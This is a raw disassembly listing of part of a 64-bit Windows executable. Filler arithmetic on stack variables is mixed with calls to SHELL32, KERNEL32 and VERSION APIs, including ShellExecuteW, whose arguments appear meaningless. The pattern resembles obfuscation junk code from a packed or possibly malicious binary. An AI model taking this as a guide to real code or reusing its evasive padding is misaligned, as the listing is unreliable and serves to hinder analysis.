mov rdx, qword [rsp + 0xf228]
mov rcx, qword [rsp + 0xf230]
call qword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov qword [rsp + 0xf238], rax
mov rax, qword [rsp + 0xf080]
mov ecx, dword [rsp + 0x74ec]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6088], eax
mov rax, qword [rsp + 0xf048]
mov rcx, qword [rsp + 0xc090]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xea28], rax
mov rax, qword [rsp + 0xf0b0]
mov ecx, dword [rsp + 0x767c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7654], eax
lea rdx, [rsp + 0xee40]
mov rcx, qword [rsp + 0xf240]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x6b28], eax
mov r8, qword [rsp + 0xc090]
mov rax, qword [rsp + 0xf048]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x75bc]
call fcn.1401c5b60
mov rax, qword [rsp + 0xf218]
movzx ecx, al
mov rax, qword [rsp + 0xecd0]
sar rax, cl
mov rcx, qword [rsp + 0xed08]
mov rdx, qword [rsp + 0xef68]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x14001f217
movzx eax, byte [rsp + 0x4e0]
movzx ecx, byte [rsp + 0x4dd]
shl eax, cl
mov byte [rsp + 0x35e], al
movzx eax, word [rsp + 0x25ac]
mov rcx, qword [0x1401eedd8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401eede4], ax
movsx eax, word [rsp + 0x2160]
movsx ecx, word [rsp + 0x25a8]
and eax, ecx
mov word [rsp + 0x25f4], ax
mov rax, qword [rsp + 0xf1f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf1d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf1d0]
mov qword [rcx], rax
lea rax, [rsp + 0x22470]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xf008]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xf100]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xefa8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xf008]
mov r8, qword [rsp + 0xed88]
mov rdx, qword [rsp + 0xed88]
mov ecx, 0x69
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x76b8], eax
mov rax, qword [rsp + 0xf1f8]
mov rcx, qword [rsp + 0xf1d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xf050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
add eax, ecx
mov word [rsp + 0x256c], ax
mov rax, qword [rsp + 0xf080]
mov rcx, qword [rsp + 0xf0d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6aa8], eax
mov rax, qword [rsp + 0xf0b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x76a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x758c], eax
mov rax, qword [rsp + 0xf048]
mov rcx, qword [rsp + 0xed18]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc7f8], rax
lea r9, [rsp + 0xf1d0]
lea r8, [rsp + 0x20548]
mov rdx, qword [rsp + 0xed88]
lea rcx, [rsp + 0x2578]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0x76bc], eax
movsx eax, word [rsp + 0x25e8]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2594], ax
movzx eax, byte [rsp + 0x33a]
movzx ecx, byte [rsp + 0x35e]
and eax, ecx
mov byte [0x1401eede2], al
mov rax, qword [rsp + 0xf218]
mov rcx, qword [rsp + 0xf1f8]
mov qword [rsp + 0xf248], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf248]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xf1d0]
mov qword [rcx], rax
lea rdx, [rsp + 0x76c0]
mov rcx, qword [rsp + 0xed50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x762c], eax
movsx eax, byte [rsp + 0x4df]
mov rcx, qword [0x1401eede8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4e2], al
movzx eax, byte [rsp + 0x33a]
mov byte [rsp + 0x4ec], al
mov rax, qword [rsp + 0xf050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25cc]
xor eax, ecx
mov word [rsp + 0x2580], ax
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov qword [rsp + 0xf250], rax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x615c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x73a8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0xef90]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xf0e8]
idiv dword [rcx]
mov dword [rsp + 0x6710], eax
mov rax, qword [rsp + 0xf180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2550]
sub eax, ecx
mov word [rsp + 0x1e84], ax
mov rcx, qword [rsp + 0xef98]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x76a4], eax
mov rcx, qword [rsp + 0xedd8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf038]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e303b], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf1f0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xf050]
mov word [rcx], ax
movzx eax, word [rsp + 0x1240]
mov word [rsp + 0x25f8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x4ac
xor r8d, r8d
lea rdx, [rsp + 0xee10]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x75a4], eax
mov rax, qword [rsp + 0xf158]
imul rax, qword [rsp + 0xd8c8]
mov qword [rsp + 0xed40], rax
mov rax, qword [rsp + 0xea88]
mov rcx, qword [rsp + 0xefd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf1b8], rax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov qword [rsp + 0xf258], rax
mov eax, dword [rsp + 0x7698]
mov ecx, dword [rsp + 0x761c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7600], eax
mov rax, qword [rsp + 0xf080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x75d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6504], eax
movzx eax, byte [rsp + 0x4ec]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x33a]
movzx edx, byte [rsp + 0x4e3]
add ecx, edx
cmp eax, ecx
je 0x14001f600
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xecd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf040]
mov rdx, qword [rsp + 0xedb8]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1401c3f0e
call fcn.1401c5a70
mov rax, qword [rsp + 0xf0b0]
mov ecx, dword [rsp + 0x75f4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6710], eax
mov rax, qword [rsp + 0xed40]
mov rcx, qword [rsp + 0xdd40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xf040], rax
movzx eax, word [rsp + 0x25bc]
mov rcx, qword [rsp + 0xf178]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e33a4], ax
movsx eax, word [rsp + 0x2160]
movsx ecx, word [rsp + 0x151c]
add eax, ecx
mov word [rsp + 0x2550], ax
movzx eax, word [rsp + 0x2590]
movzx ecx, word [rsp + 0x24ac]
add eax, ecx
mov word [0x1401eedd2], ax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x257c]
sub eax, ecx
mov word [rsp + 0x2558], ax
mov rax, qword [rsp + 0xf0a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e3]
sub eax, ecx
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xf0b0]
mov r9d, dword [rax]
mov rax, qword [rsp + 0xf0b0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xf0b0]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x769c]
call fcn.1401c5bd0
movsx eax, word [rsp + 0x2594]
movsx ecx, word [rsp + 0x25a8]
or eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
mov edx, 1
mov rcx, qword [rsp + 0xee58]
call qword [sym.imp.SHELL32.dll_DragAcceptFiles]
mov rax, qword [0x1401eedd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x24ac]
sar eax, cl
mov word [rsp + 0x258c], ax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xed58], rax
mov eax, dword [rsp + 0x7604]
mov rcx, qword [rsp + 0xf1a0]
mov qword [rsp + 0x20530], rcx
movzx ecx, al
mov rax, qword [rsp + 0x20530]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6c34], eax
lea rcx, [rsp + 0xe4a0]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
jmp 0x1401c4140
mov eax, dword [rsp + 0x6850]
mov ecx, dword [rsp + 0x74d4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf0d8]
mov rdx, qword [rsp + 0xedb0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
ja 0x1401c4140
mov rax, qword [rsp + 0xf178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf050]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2590], ax
mov rax, qword [rsp + 0xecd8]
mov rcx, qword [rsp + 0xed58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xed18]
mov qword [rcx], rax
mov rax, qword [rsp + 0xef68]
mov rcx, qword [rsp + 0xf130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x75f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7600], eax
xor r8d, r8d
lea rdx, [rsp + 0x65a0]
lea rcx, [rsp + 0x226a0]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x7648], eax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7678]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x65a0], eax
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb58], rax
mov eax, dword [rsp + 0x73a8]
movzx ecx, al
mov eax, dword [rsp + 0x65a0]
shl eax, cl
mov dword [rsp + 0x6c34], eax
mov rax, qword [rsp + 0xf150]
movsx eax, byte [rax]
mov rcx, qword [0x1401eede8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4e1], al
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf0a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4da], al
mov rax, qword [rsp + 0xf140]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e3380], ax
mov dword [rsp + 0x28], PathYetAnotherMakeUniqueName
lea rax, [rsp + 0x24ac]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4e4]
mov r8d, 0xce
mov edx, 0x1f
mov rcx, qword [rsp + 0xf240]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x7578], eax
mov rax, qword [rsp + 0xf070]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xed40]
mov r8, qword [rsp + 0xeff8]
mov rdx, qword [rsp + 0xf108]
mov rcx, qword [rsp + 0xf148]
call fcn.1401c5a20
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2160], ax
mov rax, qword [rsp + 0xf088]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf050]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e33a0], ax
movsx eax, word [rsp + 0x2550]
movsx ecx, word [rsp + 0x2588]
sub eax, ecx
mov word [rsp + 0x17ec], ax
movzx eax, byte [rsp + 0x4db]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xf038]
mov byte [rcx], al
lea rcx, [rsp + 0x1d20]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov rax, qword [rsp + 0xed40]
mov rcx, qword [rsp + 0xf130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf128], rax
mov rax, qword [rsp + 0xefd0]
mov rcx, qword [rsp + 0xf130]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [0x1401eee08]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe4a0], rax
lea rcx, [rsp + 0x74d4]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov eax, dword [rsp + 0x705c]
mov ecx, dword [rsp + 0x75f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x75bc], eax
mov rax, qword [rsp + 0xf0d8]
mov rcx, qword [rsp + 0xedb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7544], eax
movzx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0xf050]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf10], ax
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [rsp + 0x3fd]
or eax, ecx
mov rcx, qword [0x1401eedf0]
mov byte [rcx], al
mov dword [rsp + 0x20], reloc.SHELL32.dll_ILFindLastID
lea r9, [rsp + 0xf0c8]
mov r8, qword [rsp + 0xf268]
mov rdx, qword [rsp + 0xefe8]
mov rcx, qword [rsp + 0xee38]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x7558], eax
mov rax, qword [rsp + 0xf0b0]
mov ecx, dword [rsp + 0x7694]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x75f4], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf10]
and eax, ecx
mov word [rsp + 0x1a64], ax
movsx eax, word [rsp + 0x141c]
movsx ecx, word [rsp + 0x25b4]
add eax, ecx
mov word [0x1401eede0], ax
mov rax, qword [rsp + 0xf020]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fd]
sub eax, ecx
mov byte [rsp + 0x4e3], al
mov rcx, qword [rsp + 0xf158]
call fcn.1401c5950
mov rax, qword [rsp + 0xed80]
movzx r9d, word [rax]
mov rax, qword [rsp + 0xf048]
mov r8, qword [rax]
mov rax, qword [rsp + 0xecf8]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x6710]
call fcn.1401c5840
mov rax, qword [rsp + 0xf050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf088]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
movzx eax, word [rsp + 0x2580]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xefc], ax
mov rax, qword [rsp + 0xf020]
movzx eax, byte [rax]
mov rcx, qword [0x1401eedf0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e3039], al
movsx eax, byte [rsp + 0x4d9]
movsx ecx, byte [rsp + 0x4df]
add eax, ecx
mov byte [rsp + 0x4de], al
movsx eax, word [rsp + 0x2584]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2588], ax
mov rax, qword [rsp + 0xea88]
mov rcx, qword [rsp + 0xecd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
lea rdx, [rsp + 0x29090]
mov ecx, 0x1f
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x766c], eax
movsx eax, word [rsp + 0x2584]
movsx ecx, word [rsp + 0x2554]
sub eax, ecx
mov rcx, qword [rsp + 0xee00]
mov word [rcx], ax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xed58], rax
mov rax, qword [rsp + 0xf080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7544], eax
mov rax, qword [rsp + 0xef90]
mov ecx, dword [rsp + 0x7654]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x74e4], eax
mov rax, qword [rsp + 0xf080]
mov edx, dword [rax]
mov rax, qword [rsp + 0xf020]
movzx ecx, byte [rax]
call fcn.1401c5ac0
jmp 0x1401c4684
mov eax, dword [0x1401e3384]
movzx ecx, al
mov eax, dword [rsp + 0x7630]
shl eax, cl
mov rcx, qword [rsp + 0xedb0]
mov edx, dword [rsp + 0x764c]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
ja 0x1401c4684
movzx eax, byte [rsp + 0x4da]
movzx ecx, byte [0x1401eede2]
and eax, ecx
mov byte [rsp + 0x4db], al
lea r9, [rsp + 0x766c]
lea r8, [rsp + 0x75bc]
lea rdx, [rsp + 0xefa8]
mov rcx, qword [rsp + 0xf008]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x766c], eax
movsx eax, word [rsp + 0x2594]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
movsx eax, byte [rsp + 0x4de]
mov rcx, qword [0x1401eede8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4d8], al
mov rax, qword [rsp + 0xeff8]
mov rcx, qword [rsp + 0xef40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x68dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7034], eax
mov rax, qword [rsp + 0xef90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x751c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7640], eax
movzx eax, byte [rsp + 0x35e]
movzx ecx, byte [0x1401eede2]
and eax, ecx
mov byte [0x1401e303a], al
movsx eax, word [rsp + 0x2554]
movsx ecx, word [rsp + 0x2558]
sub eax, ecx
mov word [rsp + 0x141c], ax
lea rdx, [rsp + 0xefd8]
lea rcx, [rsp + 0x7524]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0xf418], rax
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2584]
add eax, ecx
mov word [rsp + 0x17ec], ax
movzx eax, byte [0x1401e3039]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
add eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7628]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6088], eax
lea rax, [rsp + 0x2558]
mov qword [rsp + 0x20], rax
mov r9d, 0xed
lea r8, [rsp + 0xf000]
lea rdx, [rsp + 0xef38]
mov rcx, qword [rsp + 0xee30]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x74f0], eax
mov eax, dword [rsp + 0x761c]
mov ecx, dword [rsp + 0x7530]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x75f4], eax
mov rax, qword [rsp + 0xed60]
movzx ecx, al
mov rax, qword [rsp + 0xed48]
shl rax, cl
mov qword [rsp + 0xbb58], rax
mov rax, qword [rsp + 0xea88]
movzx ecx, al
mov rax, qword [rsp + 0xeff8]
sar rax, cl
mov qword [rsp + 0xef68], rax
movzx eax, word [rsp + 0x2540]
movzx ecx, word [rsp + 0x258c]
or eax, ecx
mov word [0x1401e339c], ax
movzx eax, word [rsp + 0x258c]
movzx ecx, word [rsp + 0x2568]
add eax, ecx
mov word [rsp + 0x256c], ax
movsx eax, word [rsp + 0x151c]
movsx ecx, word [0x1401e338c]
add eax, ecx
mov word [rsp + 0x2598], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e303a], al
lea r9, [rsp + 0xf428]
lea r8, [rsp + 0xf020]
lea rdx, [rsp + 0xed80]
lea rcx, [rsp + 0x7648]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0xb7c8], eax
mov rax, qword [rsp + 0xea88]
mov rcx, qword [rsp + 0xdd40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xef30], rax
mov rax, qword [rsp + 0xefd0]
mov rcx, qword [rsp + 0xef40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xeff8], rax
movsx eax, word [rsp + 0x2588]
movsx ecx, word [rsp + 0x2554]
add eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2590]
sar eax, cl
mov word [rsp + 0x1694], ax
mov ecx, 0xca
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x75ec], eax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4d8]
or eax, ecx
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xeea8]
mov rcx, qword [rsp + 0xedb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xef30], rax
movzx eax, byte [rsp + 0x3fd]
movzx ecx, byte [rsp + 0x4db]
sub eax, ecx
mov byte [rsp + 0x35e], al
movsx eax, word [rsp + 0x2584]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2558], ax
movzx eax, word [rsp + 0x255c]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2568], ax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xed18]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xed60], rax
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2598], ax
mov rax, qword [rsp + 0xef40]
movzx ecx, al
mov rax, qword [rsp + 0xef30]
shl rax, cl
mov qword [rsp + 0xed08], rax
jmp 0x1401c4b06
movzx eax, byte [rsp + 0x4d7]
movzx ecx, byte [rsp + 0x4db]
add eax, ecx
mov byte [rsp + 0x3fd], al
lea rdx, [rsp + 0xb7c8]
mov rcx, qword [rsp + 0xf000]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x7558], eax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7600]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6128], eax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x7034]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xedb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [0x1401e3390]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb58], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [0x1401e3388]
xor eax, ecx
mov word [rsp + 0x258c], ax
mov dword [rsp + 0x28], 0xa8
mov rax, qword [rsp + 0xf068]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xee38]
mov r8, qword [rsp + 0xee38]
mov rdx, qword [rsp + 0xed88]
mov rcx, qword [rsp + 0xee58]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0xefb0], rax
movsx eax, word [rsp + 0x151c]
movsx ecx, word [rsp + 0x2570]
add eax, ecx
mov word [rsp + 0x2550], ax
mov dword [rsp + 0x20], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov r9d, 0x72
lea r8, [rsp + 0x28630]
mov edx, PathYetAnotherMakeUniqueName
mov rcx, qword [rsp + 0xee38]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x68dc], eax
movzx eax, word [rsp + 0x2540]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401eede4], ax
movsx eax, byte [rsp + 0x2b3]
movsx ecx, byte [rsp + 0x4df]
add eax, ecx
mov byte [rsp + 0x4de], al
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x35e], al
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xea88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xedb8], rax
jmp 0x1401c4d31
mov rax, qword [rsp + 0xef20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x257c]
add eax, ecx
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0xee00]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x1401c4d31
mov dword [rsp + 0x20], 0xa3
lea r9, [rsp + 0x74d4]
lea r8, [rsp + 0x7530]
mov edx, SHDoDragDrop
mov rcx, qword [rsp + 0xed88]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [rsp + 0x7628], eax
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x74e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x758c], eax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x74d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7604], eax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4d9]
sub eax, ecx
mov byte [rsp + 0x4de], al
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2544], ax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4da]
add eax, ecx
mov byte [0x1401e3039], al
movzx eax, word [rsp + 0x2568]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2540], ax
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
lea rcx, [rsp + 0x2550]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x7558], eax
mov rax, qword [0x1401eee00]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x75f4]
mov edx, dword [rsp + 0x75f4]
mov ecx, dword [rsp + 0x74e4]
call fcn.1401c5bd0
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xc7f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb58], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [0x1401eedf8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x68dc], eax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d7]
sub eax, ecx
mov byte [rsp + 0x3fd], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2580]
shl eax, cl
mov word [0x1401e3388], ax
mov rax, qword [rsp + 0xef30]
mov rcx, qword [rsp + 0xef40]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xedb8], rax
mov r8, qword [rsp + 0xee38]
mov rdx, qword [rsp + 0xed88]
mov rcx, qword [rsp + 0xed88]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0xefd8], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2580]
sar eax, cl
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4e0]
